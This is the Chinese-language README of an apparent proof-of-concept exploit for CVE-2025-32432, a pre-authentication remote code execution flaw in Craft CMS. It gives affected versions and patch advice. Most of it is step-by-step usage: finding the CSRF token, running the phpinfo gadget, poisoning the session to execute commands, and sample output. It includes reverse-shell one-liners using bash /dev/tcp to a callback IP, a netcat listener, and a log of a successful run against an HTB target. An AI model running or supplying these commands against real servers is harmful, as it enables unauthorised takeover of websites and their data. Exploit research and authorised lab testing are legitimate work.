仅限授权测试。 本仓库仅用于受控实验室环境、CTF 平台(如 Hack The Box)、内部验证和防御性核查。请勿针对您不拥有或未获得明确许可的系统运行此工具。
本项目包含针对 CVE-2025-32432 的单目标概念验证(PoC),该漏洞是 Craft CMS 的一个预认证远程代码执行问题。
该 PoC 分两个阶段执行:
phpinfo() gadget。该脚本旨在避免一些公开 PoC 中常见的漏报问题:正常的图片变换请求可能返回 404,而同一端点和 assetId 在加载实际 gadget 载荷时仍然有效。
根据 Craft CMS 官方公告和公开公告数据库,受影响范围如下:
| Craft CMS 分支 | 受影响版本 | 修复版本 |
|---|---|---|
| 3.x | < 3.9.15 | 3.9.15 |
| 4.x | < 4.14.15 | 4.14.15 |
| 5.x | < 5.6.17 | 5.6.17 |
如果您负责管理 Craft CMS 部署,请立即升级到修复版本。
该 PoC 按以下流程执行:
Get CSRF token
|
v
Test endpoint + assetId with phpinfo gadget
|
v
Confirm vulnerable response contains PHP Version / PHP License
|
v
Poison Craft session return URL with PHP payload
|
v
Trigger yii\rbac\PhpManager to include the PHP session file
|
v
Execute optional command
重要的实现细节:
/var/lib/php/sessions/var/lib/php/session/tmp--timeout 选项,用于反向 shell 场景。craftcms_cve_2025_32432_public_poc.py Main single-target PoC
README.md Project documentation
requestsurllib3安装依赖:
python3 -m pip install requests urllib3
此模式仅使用 phpinfo gadget 确认漏洞。
python3 craftcms_cve_2025_32432_public_poc.py -u http://target.local
预期成功输出:
[+] phpinfo triggered
[+] Working endpoint: http://target.local/index.php?p=admin/actions/assets/generate-transform
[+] Working assetId: 0
[+] Vulnerability confirmed by phpinfo gadget
[*] Check-only mode. Use -c 'id' to run a command.
phpinfo 响应将保存为:
phpinfo_success.html
python3 craftcms_cve_2025_32432_public_poc.py -u http://target.local -c "id"
示例成功输出:
[+] Command output:
uid=33(www-data) gid=33(www-data) groups=33(www-data)
当您已经知道可用值时使用此方式。
python3 craftcms_cve_2025_32432_public_poc.py \
-u http://target.local \
-c "id" \
-a 0 \
--endpoint "http://target.local/index.php?p=admin/actions/assets/generate-transform" \
--session-dir /var/lib/php/sessions
某些目标可能使用自定义前端控制器(如 x.php)。
python3 craftcms_cve_2025_32432_public_poc.py \
-u http://target.local \
--front x.php \
-c "id"
这会测试类似以下路由:
http://target.local/x.php?p=admin/actions/assets/generate-transform
首先启动一个监听器:
rlwrap -cAr nc -lvnp 12345
然后使用反向 shell 命令运行 PoC:
python3 craftcms_cve_2025_32432_public_poc.py \
-u http://target.local \
-c "bash -lc 'bash -i >& /dev/tcp/YOUR_VPN_IP/12345 0>&1'" \
--timeout 0
--timeout 0 会禁用请求超时。这很有用,因为反向 shell 通常会保持 HTTP 请求打开。
分离变体:
python3 craftcms_cve_2025_32432_public_poc.py \
-u http://target.local \
-c "bash -lc 'setsid bash -c \"bash -i >& /dev/tcp/YOUR_VPN_IP/12345 0>&1\" >/dev/null 2>&1 &'" \
--timeout 0
assetId 0 -> HTTP 404不要依赖正常的 transform 请求来进行发现。某些目标对正常的 transform 请求体返回 404,但仍会执行 gadget 载荷。
该 PoC 使用 phpinfo gadget 本身来发现有效组合。
尝试手动指定会话目录:
python3 craftcms_cve_2025_32432_public_poc.py \
-u http://target.local \
-c "id" \
--session-dir /var/lib/php/sessions
然后尝试:
--session-dir /var/lib/php/session
或者:
--session-dir /tmp
请使用以下方法之一:
--timeout 0
使用带 setsid 或 nohup 的分离式载荷。
确认您的回调 IP 正确:
ip -br a | grep tun
如果反向 shell 已成功连接,这可能是正常现象。在将超时视为失败之前,请先检查您的监听器。
先尝试更简单的命令:
-c "id"
-c "whoami"
-c "pwd"
如果简单命令正常但复杂命令失败,请仔细引用命令,或使用分离式 shell 载荷。
[*] Target: http://orion.htb
[*] Front controller: index.php
[+] CSRF token found via http://orion.htb/index.php?p=admin/dashboard
[*] Testing endpoint: http://orion.htb/index.php?p=admin/actions/assets/generate-transform
assetId 0 -> HTTP 200
[+] phpinfo triggered
[+] Working endpoint: http://orion.htb/index.php?p=admin/actions/assets/generate-transform
[+] Working assetId: 0
[+] Vulnerability confirmed by phpinfo gadget
[+] Command output:
uid=33(www-data) gid=33(www-data) groups=33(www-data)
如果您管理着 Craft CMS 实例:
3.9.15、4.14.15、5.6.17 或更高版本。.env 中的密钥和数据库凭据。本项目仅供教育、研究、实验室和防御性验证用途。作者不对滥用行为负责。请仅测试您拥有或获得明确书面许可评估的系统。
| 选项 | 描述 | 默认值 |
|---|
-u, --url | 目标基础 URL | 必需 |
-c, --cmd | 在 phpinfo 确认后要执行的可选命令 | 无 |
--front | 前端控制器文件名 | index.php |
-s, --scan-max | 使用 phpinfo gadget 测试的最大 assetId | 50 |
-a, --asset | 已知可用的资产 ID | 无 |
--endpoint | 已知可用的 generate-transform 端点 | 无 |
--session-dir | PHP 会话目录。可多次提供 | 内置列表 |
--timeout | 命令触发时的请求超时。使用 0 表示无超时 | 20 |